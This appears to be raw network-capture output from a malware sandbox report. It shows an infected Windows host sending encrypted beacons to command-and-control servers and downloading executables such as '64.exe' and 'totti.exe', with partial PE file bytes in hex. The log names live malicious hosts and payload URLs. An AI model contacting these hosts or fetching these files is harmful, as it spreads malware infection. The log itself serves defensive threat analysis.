Feb 16, 2023 11:50:06.107414961 CET	4837	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:50:05 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49728	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:50:06.369653940 CET	4838	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xrupmqdl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 145 Host: perficut.at
Feb 16, 2023 11:50:06.369688034 CET	4838	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 10 6b 2c 90 f5 76 0b 75 6c 4b db e1 Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vulK]Np}&UyV= SIGYB{RB#
Feb 16, 2023 11:50:07.250567913 CET	4838	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:50:06 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 50 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 71 5a 3c 11 a0 6f 5b b5 eb 55 e5 cf b3 e4 36 91 3d c1 b5 2b 5c 5b 9f 9f c0 98 30 9a 3b 0d 16 Data Ascii: #\qZ<o[U6=+\[0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49729	91.227.16.11	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:50:07.462420940 CET	4839	OUT	GET /64.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: h167471.srv11.test-hf.su
Feb 16, 2023 11:50:07.530309916 CET	4840	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 16 Feb 2023 10:50:07 GMT Content-Type: application/octet-stream Content-Length: 459264 Connection: keep-alive Keep-Alive: timeout=20 Last-Modified: Thu, 16 Feb 2023 07:11:07 GMT ETag: "70200-5f4cbe68c35fb" Accept-Ranges: bytes X-Power-Supply-By: 220 Volt Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 7d cf 7a f5 1c a1 29 f5 1c a1 29 f5 1c a1 29 ce 42 a2 28 e6 1c a1 29 ce 42 a4 28 90 1c a1 29 ce 42 a5 28 e7 1c a1 29 41 80 50 29 e3 1c a1 29 41 80 52 29 8f 1c a1 29 41 80 53 29 ea 1c a1 29 28 e3 6a 29 f6 1c a1 29 f5 1c a0 29 79 1c a1 29 f5 1c a1 29 fd 1c a1 29 62 42 a3 28 f4 1c a1 29 52 69 63 68 f5 1c a1 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b6 75 eb 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 32 03 00 00 e2 03 00 00 00 00 00 69 82 00 00 00 10 00 00 00 50 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 08 60 05 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 07 00 94 36 00 00 10 1d 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 1d 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 03 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 60 96 02 00 00 10 00 00 00 98 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 00 00 00 60 98 00 00 00 b0 02 00 00 9a 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 18 1b 02 00 00 50 03 00 00 1c 02 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 66 01 00 00 70 05 00 00 52 01 00 00 52 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 64 0a 00 00 00 e0 06 00 00 0c 00 00 00 a4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 65 62 75 67 5f 6f 50 19 00 00 00 f0 06 00 00 1a 00 00 00 b0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 65 6c 6f 63 00 00 94 36 00 00 00 10 07 00 00 38 00 00 00 ca 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$}z)))B()B()B()AP))AR))AS))(j)))y)))bB()Rich)PELuc2iP@P@`(60@P.text` `.text` .rdataP6@@.dataXfpRR@.gfidsd@@.debug_oP@B.reloc68@B
Feb 16, 2023 11:50:07.530352116 CET	4842	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 0f 1e fb 56 57 53 55 81 ec 1c 04 00 00 8b 3d a8 c7 46 00 8b d7 a1 04 aa 46 00 8b Data Ascii: VWSU=FF5F3$$4$8##++3t'SSjjj:jSSj$j@Zjj9##3AD$$t$\|$N
Feb 16, 2023 11:50:07.530395031 CET	4843	IN	Data Raw: d9 8b d3 81 ca 00 20 00 00 f7 c5 02 00 00 00 75 02 8b d3 c1 e8 0b 0b d0 89 14 24 b8 07 00 00 00 33 c9 0f a2 8b f3 81 e6 00 00 00 20 c1 ee 1a 89 74 24 14 8b 34 24 81 ce 00 00 02 00 f7 c5 00 00 00 40 89 54 24 08 89 4c 24 0c 75 03 8b 34 24 8b eb 8b Data Ascii: u$3 t$4$@T$L$u4$\|$tt$\$ u@u uD=D$ =@
Feb 16, 2023 11:50:07.530427933 CET	4844	IN	Data Raw: 00 81 c4 88 00 00 00 5d 5f 5e c3 e8 8a 0b 00 00 e9 f7 fe ff ff 80 7c 35 ff 0a 75 94 52 55 68 c0 c9 46 00 e8 e2 03 02 00 83 c4 0c c6 86 be c9 46 00 00 bd c0 c9 46 00 e9 74 ff ff ff e8 43 6a 00 00 e8 54 0b 00 00 e9 7c ff ff ff 8b 8c 24 84 00 00 00 Data Ascii: ]_^\|5uRUhFFFtCjT\|$$3;Fu]_^&VWSUF$3$$uP=`FhFhD$$3;Fh
Feb 16, 2023 11:50:07.530459881 CET	4846	IN	Data Raw: ce 46 00 0c ed 44 00 c7 05 ac ce 46 00 14 ed 44 00 c7 05 b0 ce 46 00 1c ed 44 00 c7 05 b4 ce 46 00 20 ed 44 00 c7 05 b8 ce 46 00 28 ed 44 00 c7 05 bc ce 46 00 2c ed 44 00 c7 05 c0 ce 46 00 38 ed 44 00 c7 05 c4 ce 46 00 01 00 00 00 e9 bf fd ff ff Data Ascii: FDFDFDF DF(DF,DF8DFUVWS}F3$t Et2tEt'Wt}EtSD$hjPfmD$D$,@uu
Feb 16, 2023 11:50:07.530492067 CET	4847	IN	Data Raw: 00 3b c1 74 22 83 f8 40 77 06 b8 ff ff ff ff c3 8d 4c 24 0c 51 33 c9 51 52 50 51 6a 04 ff 15 64 cf 46 00 83 c4 18 c3 a1 40 cf 46 00 eb d7 a1 20 cf 46 00 eb d0 a1 00 cf 46 00 eb c9 8b f6 f3 0f 1e fb 33 d2 8d 44 24 0c 50 52 ff 74 24 10 6a ff ff 74 Data Ascii: ;t"@wL$Q3QRPQjdF@F FF3D$PRt$jt$RjhF'3D$PRt$t$t$RjhFt&'3t$Pt$jt$PjhF&'3t$Pt$t$t$PjhF
Feb 16, 2023 11:50:07.530523062 CET	4848	IN	Data Raw: ef 44 00 50 52 ff 15 80 50 43 00 85 c0 74 07 a3 70 cf 46 00 eb 0a c7 05 70 cf 46 00 f0 29 40 00 6a 00 ff 15 74 cf 46 00 a3 00 cf 46 00 6a 01 ff 15 74 cf 46 00 a3 20 cf 46 00 6a 02 ff 15 74 cf 46 00 83 c4 0c 46 a3 40 cf 46 00 83 7c 24 04 00 0f 84 Data Ascii: DPRPCtpFpF)@jtFFjtF FjtFF@F\|$[3PPSQCT$0F3)@3BhFpFrFhF4PC$$3;FS3 ][_^hFPC
Feb 16, 2023 11:50:07.530560017 CET	4850	IN	Data Raw: 04 ca d8 c9 85 c0 7e 06 dc 04 c2 48 eb f4 dd d9 dc 02 de f9 5d c3 e8 03 02 00 00 dd 05 28 8a 44 00 5d c3 8b ff 55 8b ec 8d 41 04 8b d0 2b d1 83 c2 03 56 33 f6 c1 ea 02 3b c1 1b c0 f7 d0 23 c2 74 0d 8b 55 08 46 89 11 8d 49 04 3b f0 75 f6 5e 5d c2 Data Ascii: ~H](D]UA+V3;#tUFI;u^]U(F3E}WtuUYjPjP^h0jP^0ffff
Feb 16, 2023 11:50:07.530589104 CET	4851	IN	Data Raw: 45 f0 74 08 0d 00 00 00 80 89 45 f0 d1 6d f4 83 e9 01 75 da dd 45 f0 85 d2 74 02 d9 e0 8b 45 0c dd 18 eb 03 33 ff 47 85 ff 5f 74 08 6a 10 e8 c1 04 00 00 59 83 e6 fd f6 c3 10 74 11 f6 45 10 20 74 0b 6a 20 e8 ab 04 00 00 59 83 e6 ef 33 c0 85 f6 5e Data Ascii: EtEmuEtE3G_tjYtE tj Y3^[]Ujuuuuuu]UE3S3CHEWHEHMtEXtEHtEHtEHtE
Feb 16, 2023 11:50:07.530618906 CET	4852	IN	Data Raw: e4 8b 44 00 db 5d fc 9b f6 c1 08 74 10 9b df e0 db 2d e4 8b 44 00 dd 5d f4 9b 9b df e0 f6 c1 10 74 0a db 2d f0 8b 44 00 dd 5d f4 9b f6 c1 04 74 09 d9 ee d9 e8 de f1 dd d8 9b f6 c1 20 74 06 d9 eb dd 5d f4 9b 8b e5 5d c3 8b ff 55 8b ec 51 9b dd 7d Data Ascii: D]t-D]t-D]t t]]UQ}E]=HF\$D$%=u<$f$ffd$uU=HFt2\$D$%=u<$f$ffd$uE$r
Feb 16, 2023 11:50:07.590305090 CET	4853	IN	Data Raw: 0f 00 75 04 85 d2 74 6a de d9 bf 03 fc ff ff df e0 f6 c4 41 75 05 33 c0 40 eb 02 33 c0 f6 45 0e 10 75 1f 03 c9 89 4d 0c 85 d2 79 06 83 c9 01 89 4d 0c 03 d2 4f f6 45 0e 10 74 e8 66 8b 75 0e 89 55 08 b9 ef ff 00 00 66 23 f1 66 89 75 0e 85 c0 74 0c Data Ascii: utjAu3@3EuMyMOEtfuUf#futffuEjQQ$1#jQQ$^E8_]UQQMEE%]fME]U}Euu@]}uuj

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49730	190.140.74.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:50:08.425903082 CET	5318	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qfcwg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 316 Host: perficut.at
Feb 16, 2023 11:50:08.425932884 CET	5318	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2c 5b 10 6b 2c 90 f4 76 0b 75 2f 1c f9 aa Data Ascii: ;nYf.vf~xIbYXtlQ?$`7C[zqNA ,[k,vu/SqGt$g[.yaWCwC4.8_FDs\|6'c=GZ\U8j2D9'(pq`}[>i70
Feb 16, 2023 11:50:09.317616940 CET	5319	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:50:08 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49731	211.171.233.126	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:50:09.683068991 CET	5320	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fkjfqkvydx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 168 Host: perficut.at
Feb 16, 2023 11:50:09.683115959 CET	5320	OUT	Data Raw: 3b 6e 59 66 f5 cb 1b 2e aa af c4 76 01 07 09 bb 0d 0f ce 93 1a 04 e3 66 08 7e 78 94 49 b7 cf 62 ea 59 b4 58 74 6c 51 19 9a ed 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 18 1d c7 41 20 ff 2d 5b 11 6b 2c 90 f5 76 0b 75 35 07 b8 8c Data Ascii: ;nYf.vf~xIbYXtlQ?*$`7C[zqNA -[k,vu5{#]}I3j."knm&6y\7=SBO(yfO}C
Feb 16, 2023 11:50:10.970577002 CET	5320	IN	HTTP/1.0 404 Not Found Date: Thu, 16 Feb 2023 10:50:10 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 331 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49700	23.106.124.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 16, 2023 11:49:10.586658955 CET	160	OUT	GET /totti.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 23.106.124.133
Feb 16, 2023 11:49:10.748226881 CET	161	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Thu, 16 Feb 2023 10:49:10 GMT Content-Type: application/octet-stream Content-Length: 3884544 Last-Modified: Thu, 16 Feb 2023 10:40:03 GMT Connection: keep-alive ETag: "63ee0803-3b4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 12 2b 9d 19 73 45 ce 19 73 45 ce 19 73 45 ce 07 21 d0 ce 04 73 45 ce 07 21 c6 ce 70 73 45 ce 07 21 c1 ce 31 73 45 ce 3e b5 3e ce 10 73 45 ce 19 73 44 ce 99 73 45 ce 07 21 cf ce 18 73 45 ce 07 21 d1 ce 18 73 45 ce 07 21 d4 ce 18 73 45 ce 52 69 63 68 19 73 45 ce 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d7 ef c3 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 22 01 00 00 f8 4c 00 00 00 00 00 9f 67 00 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 60 4f 00 00 04 00 00 e4 cd 3b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 26 01 00 64 00 00 00 00 b0 4c 00 98 42 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 4f 00 c4 0b 00 00 f0 11 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 41 00 00 18 00 00 00 c0 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 20 01 00 00 10 00 00 00 22 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 69 4b 00 00 40 01 00 00 92 38 00 00 26 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 52 02 00 00 b0 4c 00 00 44 01 00 00 b8 39 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 42 48 00 00 00 10 4f 00 00 4a 00 00 00 fc 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 2d Data Ascii: MZ@!L!This program cannot be run in DOS mode.$]+sEsEsE!sE!psE!1sE>>sEsDsE!sE!sE!sERichsEPELa"Lg@@`O;&dLBOA@@.text " `.dataHiK@8&@.rsrcRLD9@@.relocBHOJ:@B(-
Feb 16, 2023 11:49:10.748270035 CET	162	IN	Data Raw: 01 00 16 2d 01 00 08 2d 01 00 00 00 00 00 14 29 01 00 2c 29 01 00 46 29 01 00 5e 29 01 00 7c 29 01 00 94 29 01 00 a8 29 01 00 bc 29 01 00 d2 29 01 00 e6 29 01 00 fa 29 01 00 0a 2a 01 00 1e 2a 01 00 32 2a 01 00 40 2a 01 00 52 2a 01 00 64 2a 01 00 Data Ascii: --),)F)^)\|)))))))*2@Rdn*******(++.+J+`+n+++++++,",8,00~0((l0d-z--------."
Feb 16, 2023 11:49:10.748306036 CET	164	IN	Data Raw: 00 00 00 00 00 00 f0 3f 32 ef fc 99 79 82 ca 3f cd 3b 7f 66 9e a0 e6 3f 00 00 00 20 34 dd 8b bc 00 00 00 00 00 00 e0 3f 58 77 24 94 cc 33 c1 3f 41 17 15 6b 80 bc e8 3f 00 00 00 20 e1 c5 82 bc 00 00 00 00 00 00 e0 3f 87 8c e6 9a b3 73 ac 3f a3 a1 Data Ascii: ?2y?;f? 4?Xw$3?Ak? ?s?)f?09<?N,J8?v?uZEeuF2k? Wt<?-v1?-VA?`<?gY\b? bu<?P/Ye&%
Feb 16, 2023 11:49:10.748334885 CET	165	IN	Data Raw: c0 bf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 bf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 2f 59 0f 65 a1 9b bf 26 25 d1 a3 8d d8 ef bf 00 00 00 40 f6 7d 88 3c 00 00 00 00 00 00 c0 3f d5 67 59 0e 1f 1d ac bf b0 5c f7 cf 97 62 ef bf Data Ascii: P/Ye&%@}<?gY\b bu?-v1?-VA`?uZEeuF2k Wt?N,J8v<?s?)f09?Xw$3?Ak
Feb 16, 2023 11:49:10.748358965 CET	166	IN	Data Raw: cc 33 c1 3f 41 17 15 6b 80 bc e8 3f 00 00 00 20 e1 c5 82 bc 00 00 00 00 00 00 e0 3f 87 8c e6 9a b3 73 ac 3f a3 a1 0e 29 66 9b ea 3f 00 00 00 e0 30 f6 39 3c 00 00 00 00 00 00 e0 3f 4e 9c 90 7f 2c 4a 9d bf b1 bd 80 f1 b2 38 ec 3f 00 00 00 80 b1 e0 Data Ascii: 3?Ak? ?s?)f?09<?N,J8?v?uZEeuF2k? Wt<?-v1?-VA?`<?gY\b? bu<?P/Ye&%?@}??
